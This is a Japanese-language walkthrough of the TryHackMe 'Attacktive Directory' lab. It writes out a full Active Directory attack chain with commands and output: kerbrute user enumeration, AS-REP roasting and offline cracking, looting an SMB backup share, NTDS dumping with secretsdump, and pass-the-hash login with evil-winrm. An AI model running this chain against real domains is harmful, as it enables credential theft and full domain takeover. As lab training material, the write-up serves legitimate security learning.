一部を■で隠しています。
Task1: Deploy The Machine
デプロイプロセスを細かく指示してくれる。優しい。
Taks2: Setup
色々ツールを入れようという章になっている。
- Impacketは今まで使ったことがあるexploitコードがまとまっている
- Bloodhound, Neo4jを入れてAD環境をスキャンできるようにする
Task3: Welcome to Attacktive Directory
とりあえず関連スキャナーを入れてみるとenum4linux
で刺さる。
他のやつはnmapをかけると情報が得られる。
$ nmap -sC -sV $IP | tee nmap.txt PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-06-02 12:03:53Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: THM-AD | NetBIOS_Domain_Name: THM-AD | NetBIOS_Computer_Name: ATTACKTIVEDIREC | DNS_Domain_Name: spookysec.local | DNS_Computer_Name: AttacktiveDirectory.spookysec.local | Product_Version: 10.0.17763 |_ System_Time: 2021-06-02T12:04:10+00:00 | ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local | Not valid before: 2021-06-01T11:29:29 |_Not valid after: 2021-12-01T11:29:29 |_ssl-date: 2021-06-02T12:04:18+00:00; 0s from scanner time. Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2021-06-02T12:04:10 |_ start_date: N/A
Task4: Enumerating Users via Kerberos
とりあえず指定されていることをやろう。
適当にKerbruteを入れる
sudo apt install golang
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
make linux
sudo cp dist/kerbrute_linux_386 /opt/kerbrute
こんな感じで適当に入れる。
ユーザー列挙してみよう
ユーザー列挙用の辞書も与えられるので適当な所に入れて列挙してみる。
1つはどう見ても他と違う応答を返しているものがあるのでわかる。
もう一つは文字数を見てそれっぽいやつを答える。
$ /opt/kerbrute userenum -d spookysec.local --dc spookysec.local /opt/dics/userlist.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: dev (9cfb81e) - 06/02/21 - Ronnie Flathers @ropnop 2021/06/02 21:53:35 > Using KDC(s): 2021/06/02 21:53:35 > spookysec.local:88 2021/06/02 21:53:42 > [+] VALID USERNAME: james@spookysec.local 2021/06/02 21:53:51 > [+] svc-admin has no pre auth required. Dumping hash to crack offline: $krb5asrep$18$svc-admin@SPOOKYSEC.LOCAL:87d15096323d6d0d... 2021/06/02 21:53:51 > [+] VALID USERNAME: svc-admin@spookysec.local 2021/06/02 21:53:54 > [+] VALID USERNAME: James@spookysec.local 2021/06/02 21:53:56 > [+] VALID USERNAME: robin@spookysec.local 2021/06/02 21:54:21 > [+] VALID USERNAME: darkstar@spookysec.local 2021/06/02 21:54:39 > [+] VALID USERNAME: administrator@spookysec.local 2021/06/02 21:55:16 > [+] VALID USERNAME: backup@spookysec.local 2021/06/02 21:55:31 > [+] VALID USERNAME: paradox@spookysec.local 2021/06/02 21:57:28 > [+] VALID USERNAME: JAMES@spookysec.local 2021/06/02 21:58:20 > [+] VALID USERNAME: Robin@spookysec.local 2021/06/02 22:01:56 > [+] VALID USERNAME: Administrator@spookysec.local
Task 5: Abusing Kerberos
前回でチケットは得られたので、これをクラックしてパスワードを得よう。
前やったときはJohn The Ripperで何も考えずに行けたが、今回は無理だった。
何が違うんだろう。
hashcatでクラック…ではないのか…
とりあえずexample_hashes [hashcat wiki]で先頭の$krb5asrep
あたりを検索すれば、
何を使えばいいかは分かる。
Impacketでチケットを抜き出す
前やったやつをやる。
$ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py spookysec.local/svc-admin -no-pass Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation [*] Getting TGT for svc-admin $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:acaf3f984b4b9a85368a7... $ john hash.txt --wordlist=/opt/dics/passwordlist.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ■■■■■■■■■■ ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL) 1g 0:00:00:00 DONE (2021-06-02 22:38) 14.28g/s 102400p/s 102400c/s 102400C/s horoscope..frida Use the "--show" option to display all of the cracked passwords reliably Session completed
Task 6: Back to the Basics
一つ認証情報が手に入ったので、smbmapで中身を見てみよう。
$ smbmap -H $IP -u svc-admin -p ■■■■■■■■■ Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin backup READ ONLY C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share
backupという一際目立つものがあるので、アクセスしてみよう。
$ smbclient \\\\$IP\\backup --user=svc-admin%■■■■■■■■■■■ Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Apr 5 04:08:39 2020 .. D 0 Sun Apr 5 04:08:39 2020 backup_credentials.txt A 48 Sun Apr 5 04:08:53 2020 8247551 blocks of size 4096. 3855341 blocks available smb: \> mget * Get file backup_credentials.txt? y getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) smb: \> quit $ cat backup_credentials.txt ■■■■■■■■■■■■■■■■■
さっき見たbackupユーザーのクレデンシャルかな?
これはbase64になっていたのでデコードするとbackup@spookysec.local:■■■■■■■
という使えるクレデンシャルがもらえる。
Task 7: Elevating Privileges within the Domain
問題文にsecretsdump.py
とあるのでImpacketのsecretsdump.pyを使う。
$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py backup@$IP Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation Password: [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:■■■■■■■■■::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up...
無茶苦茶出てくる。AdministratorのNTLMハッシュも得られる。
Task 8: Flag Submission Panel
最後にAdministratorでEvil-WinRMを使ってPowerShellを起動して、フラグを根こそぎ取ってこよう。
/opt/evil-winrm/evil-winrm.rb -i $IP -u 'Administrator' -H '[NTHash]'
で接続。
後はlsとcdとcatを使って適当に取り出してくる。